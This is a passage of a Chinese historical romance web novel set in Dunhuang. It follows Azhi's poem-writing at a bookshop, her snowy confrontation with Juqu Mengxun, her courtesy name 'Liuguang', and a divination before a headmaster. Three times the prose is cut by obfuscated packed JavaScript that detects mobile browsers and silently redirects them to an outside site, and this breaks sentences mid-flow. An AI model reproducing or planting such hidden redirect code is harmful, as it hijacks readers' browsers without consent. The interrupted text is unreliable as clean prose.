他来了,迈着六亲不认的步伐向玄郎君的“悍妇”走来了,他擦了擦额头的汗,声线一定保持冷静,“额……这位夫人,上好的笔墨纸砚都在里间,请您随我来。” 书斋有专供吃茶说话的会客厅,桌上摆着成套的文房四宝,越往楼上走,越是孤本书册和珍贵竹简,后世所谓畅销书更是摆满了一层,楼梯间则挂满了诗文佳句,文笔有的磅礴,有的优美秀雅,书香墨香萦绕,颇有意境。 阿祇问:“这些都是卖品吗?” 掌柜客气地回答:“那是自然,夫人请随意挑选。” 伙计不安地看了掌柜的一眼,手指动了动,黝黑的脸表情很别扭。这些诗句都是客人们留下的佳作,虽然他都有抄录,但书斋向来以文会友,学问怎可谈买卖。那位夫人正打开的破损羊皮卷,可是镇店之宝——几百年前张骞出使西域手绘的地图啊~上面注释了西域见闻,还有通关文牒印,都是三重书斋的藏品,掌柜的居然肯出血本。 “我说这位夫人你小心点,这个很珍贵的,我们不卖。” 掌柜的平时觉得这个书呆子伙计挺不错,今天可千万别给他惹麻烦,“咳咳……卖的,卖的,价格好商量。”米耶眼睛乌溜溜地看了眼一本正经的伙计,又看了眼如坐针毡的掌柜,“到底买还是不卖?” 掌柜的:“卖。” 伙计:“不卖。” 伙计看了眼掌柜的,不敢说话了,掌柜的瞪了他一眼,笑呵呵地再次强调:“夫人看上什么,我们都卖,价格好商量……满福,还不赶紧把最好的藤纸都拿来。”古无纸,故用简。十六国时期的纸张并未得到普及,黄纸也算精贵,藤纸更是奢侈物件,这个掌柜的对辛夫人主打一个真诚,夫人想买纸,掌柜的就摆出全部的库藏。 辛夫人果然大手笔,对伙计说:“黄纸很好,这些我都要了。” 米耶跟着伙计往马车上搬东西,余光盯着贵客的挑选,生怕她们搬空了书斋。 掌柜的看起来心神不宁,搬东西的伙计满福频频回头,他在三重书斋打杂了几年,竹简书册都是他的宝贝,他听这位夫人是外地口音,生怕她暴殄天物,忍不住搭话道:“掌柜的,咱们三重书斋的规矩,若无好诗,三重楼的孤本一概不卖……” “住嘴。”掌柜的忙喝止伙计。 阿祇正在纠结竹简过于沉重,是不是让掌柜的直接送到家里,没想到被伙计怼了一句,她也不恼,便问道:“掌柜的,你们书斋有这规矩?”伙计忙凑过来点头,说起了三重书斋的雅趣,“夫人请看墙上挂的诗文,皆是文人才子买三重楼上的古卷典籍时留下的诗文佳句,我们书斋以三重楼闻名,想得好书,光有金银是换不走的。” 阿祇看向掌柜,“我刚看上的书卷都需要诗句来换?” 掌柜的:“不需要。” 伙计:“需要。” 米耶快被拧巴的掌柜和伙计整晕了,但她是个机灵的,一下便猜到这里是玄玉阁的产业,这个掌柜的定是认出了阿姊的身份,想给个便利却又被楞头的伙计搅和,她有点想笑,悄悄靠近阿姊在她耳畔说了几句话,阿祇微笑释然。 夫人亲自开口:“掌柜的,请拿纸笔来吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264404|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙计一听,乐呵呵地配合道:“夫人,请稍等。” 伙计一溜烟地跑去布置笔墨,书斋掌柜倒吸一口凉气,心里默默求上天保佑,这年头差事不好找,他上有老下有小中间有悍妇,呸,他再也不敢叫老婆悍妇了,只求辛夫人这尊大佛手下留情。小伙计最喜看文人才子挥毫泼墨,他反倒没有怀疑女子的才学,单纯就是兴奋,一会儿三重楼有新作欣赏,压根就没注意掌柜的心事和精彩表情。 掌柜的见满福跑来,问:“掌柜,给这位夫人准备几副黄纸?” 他的意思,这位夫人可看上好几个孤本,一副诗文可不够,要不要多来几副? 掌柜的吹着胡子吐出一口凉气,咬着后槽牙不敢大声训斥,生怕辛夫人不悦,“呵呵,夫人第一次光临三重书斋,一副诗文,一副足~矣~”说完他就有点后悔,是不是该说黄纸都没了。 阿祇心情正好,说了句:“好。” 她转身便朝书案走去,忽然又停住了脚步,转回头来看向掌柜,希望没有又漏下什么规矩,“可有文题、字体要求?”掌柜的哪里还敢有要求,瞪了一眼旁边又要开口的满福,让他闭了嘴,这才笑呵呵地说:”没有,没有,夫人请便。“ 三重书斋里的客人们一听说有人要题诗,纷纷围了上来,见竟是一位端雅清丽的年轻夫人,更加惊讶兴奋,被掌柜的赶紧轰出了会客厅,一个个小脑袋挤在门外,阿祇以往不是男装便是戴幕笠出门,认出她身份的倒不多,今日她轻装简行,没想到在三重书斋来了兴致。 半敞的书斋门,不明就里地来了很多人看热闹,一个冰冷又热切的眸子混在人群里,凝视着里面的女子博古架前的执笔身影,散着晨间温暖的日光,和灰暗的书房尘埃融合起来,杂成斑驳的书卷浅彩。外面春寒料峭,有马蹄声穿行街道,阿祇站在书案前,静静无语。 她提起笔,心中有按耐不住的欣喜之情,下笔写道:“春风得意马蹄疾,一日看尽长安花。” 这时候的长安风雨飘摇,战事未起,春色向人动,世人向往长安,不正是因那里的繁华和春风十里,长安之名在车水马龙的长安道上,在十里安宁的春花宴间,天宇高远,大道安整,现世太平。 她书写极快,用了顺手的蝉头雁尾的小隶撰写,收笔逆锋如雁翅。 掌柜和伙计满福站得最近,满福已经看得目瞪口呆,他虽文采普通,但在三重书斋熏陶了数年又对学问满怀热忱,自然看得出诗文的好坏,尤其她那手好字,与现在文人骚客追捧的书法截然不同,浑然工整且不失风骨。 阿祇一气呵成,放下笔,献上诗文笑问:“掌柜的,不知书斋的书卷我可能买得?” 掌柜的点着头,赶紧行礼道:“夫人所喜之物,尽可带走。” 他还能说啥,有了辛夫人的这句诗文,三重书斋不愁不闻名遐迩了。 在掌柜的恭敬协助下,很快阿祇装满了带来的箱笼,米耶留下几个金叶子,低调的李府马车满载而归。众人们好奇心大盛,在掌柜恭送那位夫人离去后,一涌而进三重书斋。他们神情兴致地等待伙计小心翼翼讲装裱好的诗句,缓缓悬挂在最显眼的位置,只觉那副诗文笔下生风,文采绝伦。 待马车离去,身后的书斋仍传来啧啧称赞声…… 天色有些阴沉,靖恭堂离家有一个时辰的车程,她们不得不加快行程。马车才行出不远,车身摇晃了一下又停下来,不知道发生了什么,米耶掀开帘子催促车夫:“怎么还不走?” 原来马车前面挡了几个讨饭的孩童,其中一个跑过来伸着小手,递给马车上的人一个字条,米耶莫名地接过那孩子就跑了,米耶将东西交给阿姊,她对汉字认识的不多,也不敢多眼。她看到阿姊接过字条后眉头缓缓皱起,片刻后下了决定:“米耶,让车夫改路去葡萄亭。” 葡萄亭,是敦煌郊外种植水晶葡萄的农庄,葡萄亭是供出城旅人休憩的地方,故此得名。 阿祇攥紧那字条,手心冒汗,模糊了字迹。躲得过初一,躲不过十五,字条约她在葡萄亭见面,最后的“沮渠”两个字,怕是来的是祸,不是福。 67. 葡萄亭 马车摇晃着赶了一段路,阿祇始终没有多言。 外面竟淅淅沥沥地雨雪交加,一炷香后马车到了地方,车夫掀起帘子,米耶赶紧跳下车给阿姊撑伞,阿祇接过伞道:“米耶,你和车夫在这里等着,我去去就回。” 米耶乖乖地将伞交给阿姊,注视着她独自向园子深处的亭子走去,夹着雪花的雨水落到油纸伞上,声音有种萧索的感觉,她袖子里的手指轻轻拢了拢,冰冷的指尖紧紧握住伞柄。葡萄亭笼罩在一片雾蒙蒙的雨雪中,本是敦煌难得的春雨天气,可惜这样湿冷的气候没人愿意出门,她一个人走着,很快就看见亭中的玄衣身影,飞扬的墨发束于脑后。 阿祇驻足停下,那人回转。 沮渠蒙逊站在亭中,神情怔怔地盯着她,像是已经等了很久。 从佛塔的初相识,到和田城的软禁,他们一路羁绊着走到分道扬镳,她还记得敦煌城下沮渠蒙逊那双杀红了的双眼,满手的鲜血的神情,她拒绝了他伸出的手,因为从未想过有朝一日与那个冷血的匈奴少主产生情愫纠葛。 沮渠蒙逊看着雪中走来的她,如上一次那般伸出手,“阿祇。” 等了片刻,阿祇抬起伞看着他,“我与沮渠少主并无相干,少主,你该回去了。” 亭中的男人眼中刚刚燃起的光瞬间黯淡,面覆冷寒,目光始终不离开她,一步一步朝撑伞的女子走来,手臂仍维持着那个动作,“并不相干?祖慕祇,我从未求过一个女人,若你愿意跟我走,我愿意……求,你。”阿祇见他逼近,不得不后退一步。 阿祇不是铁石心肠,不想看到沮渠蒙逊这个样子站在她面前,作为未来的北凉君主,有一天连李暠创立的西凉也将会覆灭在他之手,一将功成万骨枯,这个男人心里唯一的柔软可能就在此刻,可是她给不了他要的。 沮渠蒙逊一把抓住她的手臂,将她困在身前,语气中带了恳求:“阿祇,跟我走。” 阿祇不想与他起争执,冷言直道:“沮渠蒙逊,我并不爱你。” “你,不爱?”沮渠蒙逊眼底泛红手中用了力道,放声冷笑,死死抓着阿祇不放,“爱与不爱,又当如何?阿祇,你只属于我,生是我的,死也是我的。” 一阵风过,雨伞被风吹走,他们就这样站在雨雪之中。 片刻后,雨雪终变成大片的雪花,落在他们身上,白茫茫的一片天地人显得渺小无比,阿祇的手搭上他紧握自己的手,沮渠蒙逊的手如火钳,她想让他松手却是徒劳,“如果你想强迫我,那么你大概只能得到我的尸体。” 沮渠蒙逊看她湿哒哒的头发,冰冷的手指,那双清澈的双眸映着他,如此的倔强又有点委屈,曾经的一幕幕回忆划过脑海,一瞬间他就心软了,用力将她拉入怀,杀人不眨眼的修罗想用身体为她遮风挡雨,他用额头轻抵着她的额头,低声道:“阿祇,要如何你才爱我?” 阿祇不敢激怒他,在她面前,他的骄傲和自尊都收了起来。 她从未想过,沮渠蒙逊可以对她卑微如此,他们的过去没有轰轰烈烈的爱过,更没有刻骨铭心的恨过,她并不懂沮渠蒙逊的执着,她要亲手斩断他的情愫,却不想伤他,她抬头看他,沮渠蒙逊顿生喜悦,可下一瞬却看见阿祇抽出他怀中的刀,抵在他的胸口,道:“你回去吧。” 沮渠蒙逊一动不动,在大雪中望着她,“你知道,我是不择手段的人……” 雪太大了,路边的米耶焦急不已,可是她不敢去找阿姊,她猜出阿姊要见的人是谁。 正在这时,不远处传来轮毂急速行进的声音,雪中匆匆出现一辆高大坚固的马车,马车迅速停下。冷漠的稷掀开帘子,米耶看到家主那张冷峻如神的面容,慌忙跪下。 李暠冷冷走下马车,问道:“夫人呢?” 米耶对玄郎君的敬仰是从小刻在骨子里的,她磕磕巴巴地回答:“在,在葡萄亭。” “稷,你留下。” “是。” 李暠身姿挺拔,面冷如霜,一身白色狐裘端的是清冷孤寒,天人之姿。 他走近葡萄亭的雪地上,见到飞溅的点点鲜红再难保持优雅,急切寻找的那个熟悉身影正手持匕首与黑衣男人对峙,墨发飞舞的男人亦满手鲜血,握住阿祇手中的利刃步步靠近,眼神在看见李暠的一瞬陷入疯狂。白色的身影飞速而来,分隔开他二人,转身将阿祇护在身后。 “沮渠少主,为何伤我夫人?”李暠眼神凌厉,浮现杀意。 李暠脱下狐裘披在阿祇身上,转而怒视对面的男人。 明眼之人都能看出,这雪地上的血迹都是来自沮渠蒙逊,然而玄郎君护妻的怒气压根没有给沮渠蒙逊回答的机会,遇到疯魔的沮渠蒙逊,正好针尖对麦芒,两人旋即在雪地里动起手来,高手过招,雪花漫天。 阿祇忍不住一抖,手里的匕首差点掉在地上。 刚才她本想与他说清楚,没想到沮渠蒙逊的“不择手段”竟是剖心明志,他让她用刀尖最准自己的心脏,“你若不要我的心,就把它挖出来,也让我看看你的心,究竟是不是热的。” 阿祇大喊:“沮渠蒙逊,你疯了!” 阿祇连连后退,沮渠蒙逊仍然疯了一样地撞上来,锋利的匕首刺破了他的皮肤,阿祇想松手可是沮渠蒙逊不让她退缩,就在他们纠缠的时候,李暠来了。她是第一次见李暠出手,如宝剑出鞘,剑锋所指便是沮渠蒙逊,出手疾如闪电,杀招一出,寒风凛冽,可是沮渠蒙逊的武功也不弱,下手极其狠辣,这样打下去怕是会两败俱伤。 阿祇急中生智,忽然惊呼一声“啊”,人就往雪里倒下。 她身上有沮渠蒙逊的血,苍白的小脸加上白色的狐裘,让带血的裙裾十分刺目,一眼望去如破碎的白瓷,没了生机。打斗中的二人动作停滞,同时向她飞身而来,玄盛离她更近,率先扶她在怀里,关心则乱竟没注意到她在假装,阿祇迅速睁开一只眼睛,眨了一下,然后继续装死。 玄盛一愣,沮渠蒙逊正好赶到,趁他慌乱之时,阿祇猛然出手将匕首架在沮渠蒙逊的脖子上。 “别动。” “你想杀我?” 玄盛生怕沮渠蒙逊又伤害阿祇,迅速点住他的穴位,让他短暂失了力道,他们像对默契的打家劫舍的“贼夫妻”,将人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好吧,她避重就轻了,赶紧又说道:“这件事,是我没有处理好。” 玄盛还是冷冰冰地说:“你处理的很好。” 他这是没生气,还是气极了? 阿祇小心地打量玄盛,刚一抬头忽然瞳孔张大,本能地想要躲闪,他就已经低下头,吻在了她的唇上,不同于她的那个蜻蜓点水,这次的可是真正的耳鬓厮磨,毫无章法,分不清是谁的呼吸灼重,没多久阿祇就气息凌乱地招架不住,玄盛才放开了她。 玄盛的眸中深沉,将贴在她脸上的湿发顺到她的耳后,然后缓缓道:“我们回一趟陇西吧。” 阿祇抬起头,眼神还有些迷离,错愕地问:“去陇西做什么?” 玄盛说:“把堂拜了。” 她这下明白他在说什么了,“拜堂?” “是。” 玄盛轻轻将她揽在怀里,阿祇有些僵硬,对发生的一切还没有完全适应,两情相悦的仪式感,对古人是多么重要,她努力放松自己,靠在满是沁雪的气息里,缓缓点了头。 “好。” 68. 流光 外面的雪停了,马车停在路边,阿祇走下车等待米耶的马车到来,外面满是沁人心脾的春日味道,让人期待一年的好年景。因着她们要在靖恭堂小住几日,日用倒也带了齐全,米耶手忙脚乱地帮她换下带血的外衣,吓得她以为阿秭受了伤发现虚惊一场,才放下心。 等阿祇回到玄盛的马车,车内已收拾妥当,暖炉熏得淡淡清香弥漫,玄盛穿着干净的青衫看书,身边暖着毯子,见她一来便伸出手,阿祇有点恍惚,缓缓将手交给他。 十六国时期西北民风开放,然而今时不同往日,这个人不知不觉就成了她最亲近的人。李暠将毯子盖在她的腿脚上,拿起帕子帮擦着湿发,阿祇好奇地问:“你怎么找到我的?” 身边的男人手指修长好看,他拢着她的发丝,浅笑着说:“三重书斋的掌柜传来消息,雨雪太大我有些不放心,一路寻来,就看到了马车停在出城的必经之路。” 阿祇不想他担心,“事发偶然,我来不及告诉你……” 玄盛语气温和,还带着一丝歉意,“是我思虑不周,夫人如今声名在外,为夫应该陪着你的。”阿祇见他没有误会她要不告而别,松了一口气调侃道:“你说的声名,不会是悍妇之名吧?” 玄盛一笑,转而道:“沮渠蒙逊此人善隐忍,素有谋略,以后还是小心些。” 阿祇想起雪地里躺着的那个人,默默叹一口气,“有些事,还是当面说清楚的好。” 沮渠蒙逊虽有些偏执,但他从来没有伤害过自己,但这一次如果不是李暠及时出现,她还真的不知道该如何收场,像是会读心术似的,玄盛道:“当面看清楚的法子,也不错。” 阿祇老脸一红,雪地一吻是有些张狂了。 这时候,玄盛将她的腿脚放在自己的膝上,阿祇手脚冰凉想缩回脚已经来不及了,然后就忍不住咯咯地笑,“哈哈,痒。”原来玄盛担心她的脚在雪地里着了凉,帮她暖脚按着穴位,“忍一下。你伤寒刚愈,气血不足,还想再病一场吗?” 阿祇的脚最怕痒,一逃就又被捉了回来,笑着想阻止他,“我自己来。”玄盛看了她一眼,“自己来?好,涌泉、气海、关元,双手搓热按压揉转百下。” 他家夫人算半个有才的,但对穴位之处却一知半解,她睁着亮晶晶的眼睛,诚心求问:“涌泉穴我知道在哪,那气海和关元也在足下吗?” 玄盛话堵在口里,双手按压她冰冷的小脚时也跟着不自然起来,“改日我寻一本《奇经八脉》给夫人,夫人自然就会知晓。” 谈到读书学习,就对了阿祇的胃口,“你若送我医书,不如再教我些医术吧?善医者,必知其受病之处,就从气海和关元穴开始。” 玄盛很耐心地说:“好。” 车内一片温暖,外面赶车的稷心中万千感慨,他们学武之人都识得穴位,大概能猜到主人现在的表情……他跟随了主人十年,陇西李氏家主在世人眼中是无所不能的,但也是孤独的,自从有了夫人后,好像一切就变得不同了,主人从未有尴尬的时候,更没有如此开怀过。 “长生,给我讲讲陇西吧,你长大的地方。” 车厢里有好闻的松香味,暖炉里偶尔噼啪的声响,玄盛温了甘甜的梅子酒,几乎不含酒却酒不醉人人自醉,阿祇靠在他的身上,颠簸着人昏昏欲睡,听着他缓缓讲述:“陇西的老宅也有一株无忧树,比现在我们家里的那棵还要高大,我就在那个院里长大,读书,练武,也偷跑出去找伙伴玩耍,十三岁长老终于允我去历练,后来我就遇到了你。” 阿祇笑道:“你遇到我已经是后来的后来,十三岁那时,定吃了不少苦吧?” 玄盛紧握了握她的手,看着她一笑,“还好。” 怎么会好?即便是有了现代化交通通讯工具,怀着对自然的敬畏之心,一个罗布泊,在现代依旧是最难探索的死亡沙海。何况千年前万里西去,还有游牧民族、部落、教徒、流寇……阿祇想起了西域历史:建元二年,张骞带着百余人出使西域被匈奴俘获滞留十年,元狩四年,张骞再次出使西域,匈奴人屡屡进犯,解忧公主和亲乌孙国,佛教传入中原……她心中感慨,“丝绸之路的历史被后人几笔带过,中间却是无数人命与人的信仰,千年一粟。” 玄盛听不清她的叹息,却听清了一句,“丝绸之路?” 阿祇猛的睁开眼睛,丝绸之路是十八世纪德国地理学家考察中国与中亚之间的往来才提出的叫法,古代可没有丝绸门,只有“玉门”,她转了话题,问:“玄玉阁的商队,今年还运送丝绸去西域吗?” 玄盛不想瞒她,“四郎李瑾在陇西筹备商队物资,二弟也在靖恭堂挑选子弟历练,四月出发,正好赶上五月龙城集会。”阿祇激动地说:“北匈奴的龙城?你上次说过,沙迦牟韦曾在那里出现,我能随商队一起去吗?” 玄盛看了她一眼,“你想去,我陪你。” “可你现在是效谷令。” “西域与凉州一体,夫人去哪里,我自然就去哪里。” 阿祇想去精绝,玄盛也知道她的心愿,他不想阻她,也不敢放她一人前往,他有种令人不安的感觉,好像如果阿祇去了精绝,就不会再回来了。 两人不再开口,想着各自的心事。 没多久,外面传来人声,有孩子的嬉闹,也有街道小贩的叫卖声。阿祇打开窗子,他们走在一条青石路上,道路两旁有住户人家和商贩,沿途光秃的大树雨后有返青的迹象,可想盛夏是何等绿荫繁盛。道路的尽头,就是靖恭堂的院墙。 “咦,我的发簪呢?” 阿祇找不到白玉簪挽发,玄盛修长的手指先一步取出一根垂珠步摇,东珠典雅,步摇不失华贵,在辛夫人的清冷气质下,与东珠相得益彰,衬得她气质高贵。她的发髻终于也在玄盛的巧手下完工,东珠步摇斜插入鬓,阿祇乖乖转过身,下决心说:“等回去,我一定好好跟兰溪学怎么梳头。” 玄盛笑道:“不学也无妨。” 玄盛温柔地为她挽着发,提起道:“阿祇可有表字?” 阿祇不解,“什么表字?” “女子十五岁许嫁行笄礼,阿祇已不再待‘字’闺中,若书堂的夫子问起,我们也好有个说法。”没错,她的身世玄盛始终不曾追问,就怕这个世道不给她弥补疏漏的机会,名以正体,字以表德,玄盛的提醒真正及时,她便问道:“夫君,有何建议?” 玄盛想起那日与她表白时,阿祇说过的话:“光笼罩着我们头顶的宇宙苍穹,不论哪种方式,终会回到起点。”当时他并不理解,只感受到一种悲伤。如今他们有了彼此,连光的划过也有了意义。于是他说道:“阿祇于我,就像这光万古常在,华彩流溢,辛薇觉得表字‘流光’二字,可好?” 拓扑的世界观,她与玄盛在这一刻有了心灵的默契,“德厚者流光,启明与长庚就如二周目的光影重合,循环往复如流光飞逝。好,辛薇,字流光,我甚喜。” 山中似有读书声,车缓慢停了下来。 稷的声音在外面禀告:“主人,靖恭堂到了。” 玄盛为阿祇穿戴好披风,阿祇第一次来古代的学堂,认真地铺平裙裾,小声问:“如何?” 玄盛抬起她的脸若有其事地查看,她的一颦一笑皆生动俏丽,可能是来了学堂的缘故又端起庄重模样,温婉的眼神看着他,“可有不妥?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313753|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玄盛凑到她耳边,“确有一处。” 他盯着她晶莹的目光和柔和含笑的嘴唇,轻轻啄了一下。大概一回生、二回熟,阿祇很受用李暠的冷清淡然下的热情,起初还有点腼腆,本着被撩了就得撩回去的公平精神,于是,阿祇吻了回去。 树梢上寒鸦嘎嘎乱叫,学堂门口刚清扫出一片清净空地。 靖恭堂山长亲自相迎,学子们无人敢造次。白发独眼的稷站在马车前,冷冷看着靖恭堂门口站着的一众学子和师长,好像谁敢不耐烦就会要了谁的命似的。 终于,车门打开了。 俊逸的玄郎君率先下车,他一转身小心地握住清婉的女子的手,传说中的辛夫人与玄郎君一样的天青色,外罩宽袖纱罗袍服,纤腰玉带,披领绕肩,长发被一根步摇挽成垂髾,额间一抹花钿,再无多余点缀。 不远处传来众人齐声,“恭迎玄郎君,辛夫人。” 刚才“英勇非凡”不甘落于下风的辛夫人微愣了一下,她看到古朴大气的学堂大门,竟站了不少有老有少的儒生,行文人之礼,品行大气。玄盛看夫人红润的嘴唇开合,脸上的表情只有他才能看懂的尴尬,于是嘴角忍不住上扬。 刚才车外很安静无人催促,阿祇本以为她是低调的探访,谁知这是学堂视察团的既视感,她快速地瞟了李暠一眼,眼神像小刀一样飞向她的男人,玄郎君则眼含歉意,扶着夫人越发温柔小心。 那可是陇西李氏的家主,玄玉阁的玄郎君啊。刚抬起头的靖恭堂学子们见如此,头一个个立刻又低了回去,夫子们则纷纷暗叹:辛夫人,悍勇也。 玄盛携夫人缓步而来,姿态从容。他身形高大,虽身着布衣仍难掩高门士族的气度,在他的身后,天青色的裙裾随女子的每一步而绽放,雅致又美丽,有的学子们偷看辛夫人,小一点岁数的更加是好奇,只有一个敢目不转睛地盯着她看的,正是潭儿。 李暠见到须发半白老者,躬身施礼,“拜见欧阳山长。” 欧阳山长是他早年从长安请来的大儒,靖恭堂的老学究,教导宋繇数年,为人随和重礼,宋繇如修竹般站立在他身后,正看着他们的到来。欧阳山长笑呵呵地回礼,说:“玄玉阁选人在即,难得玄郎君与尊夫人亲自来书院。” 辛夫人上前,规规矩矩地对这位儒家先生一拜,“见过欧阳山长。”老夫子也不与她客气,虚扶一礼,便笑着对他夫妇二人道:“辛夫人免礼,玄盛早书信提及夫人有意拜访,没想到玄郎君终究一起来了。” 阿祇早听说这位欧阳夫子的大名,欧阳夫子字天水,早先游学南朝,与隐居会稽郡山阴的东晋谢安曾是同塾。谢家辅佐东晋百年之业,可惜朝中之人尽数逝去,谢安才东山再起,并举荐其侄谢玄,以八万兵力打败了苻坚号称百万的秦国大军,也就是“淝水之战”。阿祇没想到,他们竟有同窗之谊。 欧阳山长邀请:“快请进。” 众人让开路,请贵客走入靖恭堂的大门。 欧阳山长对身后的大小学子道:“宋繇,你带他们继续上课去吧。” 宋繇躬身:“是。” “玄盛,辛夫人,请进来喝茶。” 这位欧阳山长性格随和,却似许多大儒一样死板无趣,阿祇想起潭儿写给她的信,忍不住在散开的人群中寻找潭儿。 众学子穿着相似的学子青衫,阿祇转身前感受那道凝视她的目光,潭儿眼睛一亮,对她裂开嘴角,像在微笑。一旬未见,那小孩好像长高了,看起来有些阴郁,是在学堂过得不好吗? 阿祇给了他稍安勿躁的眼神,潭儿点点头。 小少年看着她随欧阳山长走进内厅,嘴角立刻放了下来。 69. 恐女的欧阳山长 人常说,山中无历日,寒尽不知年。寒冬将过,三月却不见初春的迹象,倒春寒又是一场雪。 欧阳山长指着暖房的凭几对李暠道:“玄盛来了靖恭堂一切随心,自行落座便可。” 这位山长已近知天命之人,大概是修身养性过了头,身宽体胖的有些富态,一生未娶无儿无女,年轻时喜游历山水,然生不逢时,战乱频发,岁数大了便来了靖恭堂。 玄盛说了声:“多谢。” 他便扶着夫人先行落座,自己坐在夫人的旁边,欧阳山长看了一眼,没多说什么。玄盛不和欧阳山长客气,又斟满一杯热茶,送到阿祇面前,“夫人,用茶。” 欧阳山长嘴角耷拉下来,鼻子轻哼一声,“玄盛往日,都是紧着给老夫倒茶的。” 这个老夫子有趣的很,居然吃起醋来。 阿祇初来乍到又有求于人,客气地想将茶水让给欧阳山长,却被玄盛拦了下来,“夫人,山仲兄在开玩笑,莫理他。”欧阳山长名欧阳毕,字山仲。没了学子们的簇拥,老学究的大儒竟有可爱的一面,与跨越辈分的人称兄道弟,他们之间这是什么神仙友情? 欧阳山长不屑道:“好你个李玄盛,不就是拒绝了你信中所求,有了夫人就了不起了?” 玄盛微笑地摇头,理所当然地说:“山仲兄没有夫人,自然不懂。” 欧阳山长话堵在胸口,看了一眼他们夫妇两人,要是让学子们看到他现在吹胡子瞪眼的样子,估计要颠覆对这位无趣古板的山长崇敬之情了。 阿祇不知他们的相处之道,悄悄问玄盛:“夫君,写信求他什么了?” 玄盛本想一笑了之,奈何欧阳老头不去直视辛夫人,侧身对李暠翻了个白眼,老头子耳不聋眼不瞎,看他们在自己面前咬耳朵,简直有辱斯文。欧阳山长不客气地对玄盛说:“前几天刚送来一个儿子,现在又要送夫人过来,老夫这里难道是你李家后宅不成?” 辛夫人愕然,原来是为了她,这事就不太好插手了。 她端杯喝茶,心里暗道:唯有脸皮厚,装傻充愣才是上策。 玄盛将一杯新茶推到欧阳山长面前,“茶倒七分满,留下三分情。山仲兄,不愿意承玄盛所求,还计较这第一道茶做甚?” 辛夫人马屁拍得及时,想要亲自端给他。 欧阳毕赶忙抢过玄盛的新茶,躲过他夫人的靠近。 “李玄盛,老夫又没说不肯让你夫人来,然礼记有云:男女七岁不同席、不共食。靖恭堂是男学,你让尊夫人留宿在此,哼,实在不便。” 他说话时气鼓鼓的,老学究说话,总是话藏半分。 阿祇观他言行,好像明白了。欧阳山长从他们一行人到来,找来众学子相迎,隔着人群算是同她打了照面,随后就避之唯恐不及,连个眼神对视都没有。 这个欧阳山长,怕是有恐女症。 辛夫人站起身,对欧阳山长行了个学子礼,“山长可以唤我辛薇,亦可以叫我流光,此来冒昧打扰几日,是真有求学之心,如果因女子身份多有不便,我倒有个主意。” 山长在她对面踌躇,“你,说说看。” 玄盛也有些好奇,阿祇清亮的瞳仁对上他,“夫君,可还记得金龟子?” 她的夫君嘴角一扬,金龟子大名,他怎敢忘记。 玄盛莞尔一笑,温柔看着自家夫人,“代写家书,卜卦问吉?” “正是。”辛夫人对这个男装小号,颇为得意。 玄盛出身高门士族,又是靖恭堂的资助者,儒家讲礼道和清名最忌以权压人,日前提前写了信给欧阳山长,却被这老头怼了回来。考虑到欧阳山仲的恐女“实际困难”,怕是也只能用这招了。于是,他在欧阳山长耳边小声说:“我夫人曾以男装混迹江湖,人称潦草书生‘金龟子’,对星占、相风、卜筮、望气皆有独到心得,山仲兄,不妨切磋?” 乱世风云,佛道兴盛,奇诡术法在文人中盛行。 欧阳毕,知天命之年,更不例外。 “辛夫人,懂卜筮之术?” 辛夫人坚定地点了点头,“略知,请欧阳山长指点。” 欧阳山长看向辛夫人,再看向玄盛,很显然,读孔孟圣贤之外,他对奇诡之道有很强的好奇心,思前想后,他见玄盛挑了挑眉,这才决心启口考教。 “开春大雪,不知今年的年景何解?” 阿祇对玄盛耳语几句,玄盛便让稷将阿祇马车上的箱笼,送了进来。箱笼有几个格子,她打开其中一个取出她的宝贝龟壳和三枚古币,“山长,请稍候。” 由于这次卜筮,是为了她自己,自然没有收人家铜板的道理,阿祇精心凝神,方才就在心中用五行和十二天干地支粗算了一下,有了龟爻,开始摇卦。 哗哗的一下,三枚古币应声而落。 辛夫人根据五运六气的变化推算后,眉头一皱,又掷了两次铜钱古币,卦象仍是如此。 “风山渐卦象,六爻皆静,无一发动。” 欧阳山长觉得,这个辛夫人怕是在故弄玄虚。 思量之后,辛夫人答道:“《黄帝内经》有五运六气,乙庚之年,金运统之,金运不及,炎火乃行。这卦象,以流光所见,今年恐为大暑之年。”欧阳山长自是不信,反问:“谷雨时节雨声百谷,清净明洁,三月却大雪纷至,怎会是大暑之年?” “卦象所显如此,流光只是实话实说。” 欧阳山长轻哼,“辛夫人,学艺不精,就莫要信口开河了吧?” 辛夫人收起龟爻,依旧愁眉笼罩,“卦象上的六气,前半年厥阴风木,后半年少阳相火,金克木,寒不去,华雪水冰,倒春寒便不稀奇,木火通明,今年暑日怕不仅酷热干旱,说不定,且有大疫之象……” 她的话音未落,坐着的玄盛默默放下茶杯,声音不大,却打断了不吉的卜筮气氛。 辛夫人从担忧之情中抽回神,这才意识到眼前的两位噤声,尤其李暠,沉神若有所思。她有心想些因果,所言之事,若被外人听去,怕会有妖言惑众之嫌。 三人围茶桌而坐,欧阳山长不开口,神情凝重。 